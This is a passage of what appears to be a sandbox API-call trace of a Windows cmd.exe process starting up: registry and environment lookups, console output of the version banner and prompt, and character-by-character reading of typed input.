lpData=0x28e940*=0x40, lpcbData=0x28e924*=0x4) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x0, lpData=0x28e940*=0x40, lpcbData=0x28e924*=0x1000) returned 0x2 [0059.919] RegCloseKey (hKey=0x44) returned 0x0 [0059.919] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e928 | out: phkResult=0x28e928*=0x44) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x0, lpData=0x28e940*=0x40, lpcbData=0x28e924*=0x1000) returned 0x2 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x1, lpcbData=0x28e924*=0x4) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x0, lpData=0x28e940*=0x1, lpcbData=0x28e924*=0x1000) returned 0x2 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x0, lpcbData=0x28e924*=0x4) returned 0x0 [0059.919] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x9, lpcbData=0x28e924*=0x4) returned 0x0 [0059.920] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x4, lpData=0x28e940*=0x9, lpcbData=0x28e924*=0x4) returned 0x0 [0059.920] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e920, lpData=0x28e940, lpcbData=0x28e924*=0x1000 | out: lpType=0x28e920*=0x0, lpData=0x28e940*=0x9, lpcbData=0x28e924*=0x1000) returned 0x2 [0059.920] RegCloseKey (hKey=0x44) returned 0x0 [0059.920] time (in: timer=0x0 | out: timer=0x0) returned 0x5e7e30ff [0059.920] srand (_Seed=0x5e7e30ff) [0059.920] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0059.920] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0059.920] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f8c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0059.920] GetProcessHeap () returned 0x70000 [0059.920] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x8aa10 [0059.920] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x8aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0059.920] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0059.920] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0059.920] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0059.920] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0059.920] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0059.920] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0059.921] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0059.921] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0059.921] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0059.921] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0059.921] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0059.921] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0059.921] GetProcessHeap () returned 0x70000 [0059.921] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x894f0 | out: hHeap=0x70000) returned 1 [0059.921] GetEnvironmentStringsW () returned 0x88a60* [0059.921] GetProcessHeap () returned 0x70000 [0059.921] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xa94) returned 0x8ac30 [0059.921] FreeEnvironmentStringsW (penv=0x88a60) returned 1 [0059.921] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0059.921] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0059.921] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0059.921] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0059.921] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0059.921] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0059.921] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0059.921] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0059.921] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0059.921] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0059.921] GetProcessHeap () returned 0x70000 [0059.921] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x5c) returned 0x8b6d0 [0059.922] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f730 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0059.922] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28f730, lpFilePart=0x28f710 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f710*="Desktop") returned 0x25 [0059.922] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0059.922] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f440 | out: lpFindFileData=0x28f440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x8b740 [0059.922] FindClose (in: hFindFile=0x8b740 | out: hFindFile=0x8b740) returned 1 [0059.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f440 | out: lpFindFileData=0x28f440*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x8b740 [0059.922] FindClose (in: hFindFile=0x8b740 | out: hFindFile=0x8b740) returned 1 [0059.922] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0059.922] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f440 | out: lpFindFileData=0x28f440*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x12f225a0, ftLastAccessTime.dwHighDateTime=0x1d60459, ftLastWriteTime.dwLowDateTime=0x12f225a0, ftLastWriteTime.dwHighDateTime=0x1d60459, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x8b740 [0059.922] FindClose (in: hFindFile=0x8b740 | out: hFindFile=0x8b740) returned 1 [0059.923] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0059.923] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0059.923] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0059.923] GetProcessHeap () returned 0x70000 [0059.923] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8ac30 | out: hHeap=0x70000) returned 1 [0059.923] GetEnvironmentStringsW () returned 0x8b740* [0059.923] GetProcessHeap () returned 0x70000 [0059.923] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xae8) returned 0x8c230 [0059.923] FreeEnvironmentStringsW (penv=0x8b740) returned 1 [0059.923] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f8c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0059.923] GetProcessHeap () returned 0x70000 [0059.923] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8b6d0 | out: hHeap=0x70000) returned 1 [0059.923] GetProcessHeap () returned 0x70000 [0059.923] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4016) returned 0x8cd20 [0059.923] GetProcessHeap () returned 0x70000 [0059.924] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8cd20 | out: hHeap=0x70000) returned 1 [0059.924] GetConsoleOutputCP () returned 0x1b5 [0059.925] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f8bfe0 | out: lpCPInfo=0x49f8bfe0) returned 1 [0059.925] GetUserDefaultLCID () returned 0x409 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f87b50, cchData=8 | out: lpLCData=":") returned 2 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f840, cchData=128 | out: lpLCData="0") returned 2 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f840, cchData=128 | out: lpLCData="0") returned 2 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f840, cchData=128 | out: lpLCData="1") returned 2 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49f9a740, cchData=8 | out: lpLCData="/") returned 2 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49f9a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49f9a460, cchData=32 | out: lpLCData="Tue") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49f9a420, cchData=32 | out: lpLCData="Wed") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49f9a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49f9a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49f9a360, cchData=32 | out: lpLCData="Sat") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49f9a700, cchData=32 | out: lpLCData="Sun") returned 4 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f87b40, cchData=8 | out: lpLCData=".") returned 2 [0059.926] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49f9a4e0, cchData=8 | out: lpLCData=",") returned 2 [0059.926] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0059.927] GetProcessHeap () returned 0x70000 [0059.927] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x0, Size=0x20c) returned 0x895c0 [0059.927] GetConsoleTitleW (in: lpConsoleTitle=0x895c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0059.927] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.927] GetFileType (hFile=0xf4) returned 0x3 [0059.927] BrandingFormatString () returned 0x897e0 [0059.930] GetVersion () returned 0x1db10106 [0059.930] _vsnwprintf (in: _Buffer=0x28f9b0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x28f948 | out: _Buffer="6.1.7601") returned 8 [0059.930] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.930] GetFileType (hFile=0xf4) returned 0x3 [0059.930] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49f96340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0059.931] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49f96340, nSize=0x2000, Arguments=0x28f950 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0059.931] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0059.931] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x28f8d8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f8d8*=0x24, lpOverlapped=0x0) returned 1 [0059.931] _vsnwprintf (in: _Buffer=0x49f96340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f978 | out: _Buffer="\r\n") returned 2 [0059.931] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.931] GetFileType (hFile=0xf4) returned 0x3 [0059.931] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.931] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0059.931] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f948, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f948*=0x2, lpOverlapped=0x0) returned 1 [0059.932] _vsnwprintf (in: _Buffer=0x49f96340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x28f978 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0059.932] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.932] GetFileType (hFile=0xf4) returned 0x3 [0059.932] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0059.932] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x28f948, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f948*=0x3f, lpOverlapped=0x0) returned 1 [0059.932] _vsnwprintf (in: _Buffer=0x49f96340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f978 | out: _Buffer="\r\n") returned 2 [0059.932] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.932] GetFileType (hFile=0xf4) returned 0x3 [0059.932] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.932] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0059.932] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f948, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f948*=0x2, lpOverlapped=0x0) returned 1 [0059.932] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0059.932] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0059.932] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0059.932] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0059.933] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.933] GetFileType (hFile=0xe8) returned 0x3 [0059.933] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0059.933] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x28f7a0 | out: TokenHandle=0x28f7a0*=0x0) returned 0xc000007c [0059.933] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x28f7a0 | out: TokenHandle=0x28f7a0*=0x50) returned 0x0 [0059.933] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x28f7b0, TokenInformationLength=0x4, ReturnLength=0x28f7b8 | out: TokenInformation=0x28f7b0, ReturnLength=0x28f7b8) returned 0x0 [0059.933] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x28f7b8, TokenInformationLength=0x4, ReturnLength=0x28f7b0 | out: TokenInformation=0x28f7b8, ReturnLength=0x28f7b0) returned 0x0 [0059.933] NtClose (Handle=0x50) returned 0x0 [0059.933] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x28f780, nSize=0x0, Arguments=0x28f788 | out: lpBuffer="韠\x08") returned 0xf [0059.933] GetProcessHeap () returned 0x70000 [0059.933] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x71ab0 [0059.933] GetConsoleTitleW (in: lpConsoleTitle=0x28f7d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0059.933] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0059.934] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0059.934] GetProcessHeap () returned 0x70000 [0059.934] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x71ab0 | out: hHeap=0x70000) returned 1 [0059.934] LocalFree (hMem=0x897e0) returned 0x0 [0059.934] GetProcessHeap () returned 0x70000 [0059.934] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8aa10 | out: hHeap=0x70000) returned 1 [0059.935] _vsnwprintf (in: _Buffer=0x49f96340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x28f4b8 | out: _Buffer="\r\n") returned 2 [0059.935] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.935] GetFileType (hFile=0xf4) returned 0x3 [0059.935] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0059.935] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x28f488, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f488*=0x2, lpOverlapped=0x0) returned 1 [0059.935] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0059.935] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f8c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0059.935] _vsnwprintf (in: _Buffer=0x49f7eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x28f4c8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0059.935] _vsnwprintf (in: _Buffer=0x49f7ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x28f4c8 | out: _Buffer=">") returned 1 [0059.935] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.935] GetFileType (hFile=0xf4) returned 0x3 [0059.935] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.935] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0059.935] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x28f4b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f4b8*=0x26, lpOverlapped=0x0) returned 1 [0059.935] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.935] GetFileType (hFile=0xe8) returned 0x3 [0059.936] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.936] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.936] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.936] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.937] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.937] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.937] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.937] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.937] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.937] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.937] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0059.937] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.937] 